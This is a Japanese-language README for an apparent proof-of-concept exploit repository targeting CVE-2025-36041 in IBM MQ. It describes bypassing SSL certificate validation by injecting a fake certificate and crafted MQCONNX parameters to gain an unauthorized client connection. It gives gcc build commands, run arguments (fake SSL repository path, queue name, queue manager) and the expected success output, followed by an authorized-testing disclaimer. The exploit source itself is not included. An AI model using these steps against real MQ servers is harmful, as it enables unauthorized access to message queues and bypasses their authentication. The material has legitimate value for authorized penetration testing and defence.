
IBM MQ の CVE-2025-36041 脆弱性に対する Exploit (C)
このリポジトリには、SSL証明書検証をバイパス可能にするIBM MQ(メッセージキュー)の脆弱性 CVE-2025-36041 の概念実証(PoC)エクスプロイトが含まれています。偽のSSL証明書を注入し、カスタマイズされたMQCONNXパラメータを使用することで、IBM MQサーバーへの不正なクライアント接続を確立できます。
"Hello MQ")を送信してエクスプロイトの成功を確認します。IBM MQクライアントライブラリがインストールされ、環境変数(MQ_INCLUDE_PATH、MQ_LIB_PATH)が適切に設定されていることを確認してください。
gcc exploit.c argparse.c -o CVE-2025-36041
-I/path/to/mqm/include
-L/path/to/mqm/lib -lmqm
./CVE-2025-36041
-p /path/to/fake/ssl
-n TARGET.QUEUE.NAME
-m QM1
パラメータ:
-p, --path 偽のSSL KeyRepositoryディレクトリへのパス。-n, --name メッセージを開いて送信する対象のキュー名。-m, --qmgr キューマネージャー名。./CVE-2025-36041 -p ./fake_ssl_repo -n MY.QUEUE -m QM1
成功すると、以下の表示が表示されます:
[+] Starting connection to IBM MQ... [+] Connected successfully with fake SSL! [+] Message sent successfully!
許可されたペネトレーションテストおよび教育目的のみに使用してください。 本PoCの無許可の使用は、現地の法令に違反する可能性があります。著者は誤用に対する一切の責任を負いません。
著者: Byte Reaper CVE: CVE-2025-36041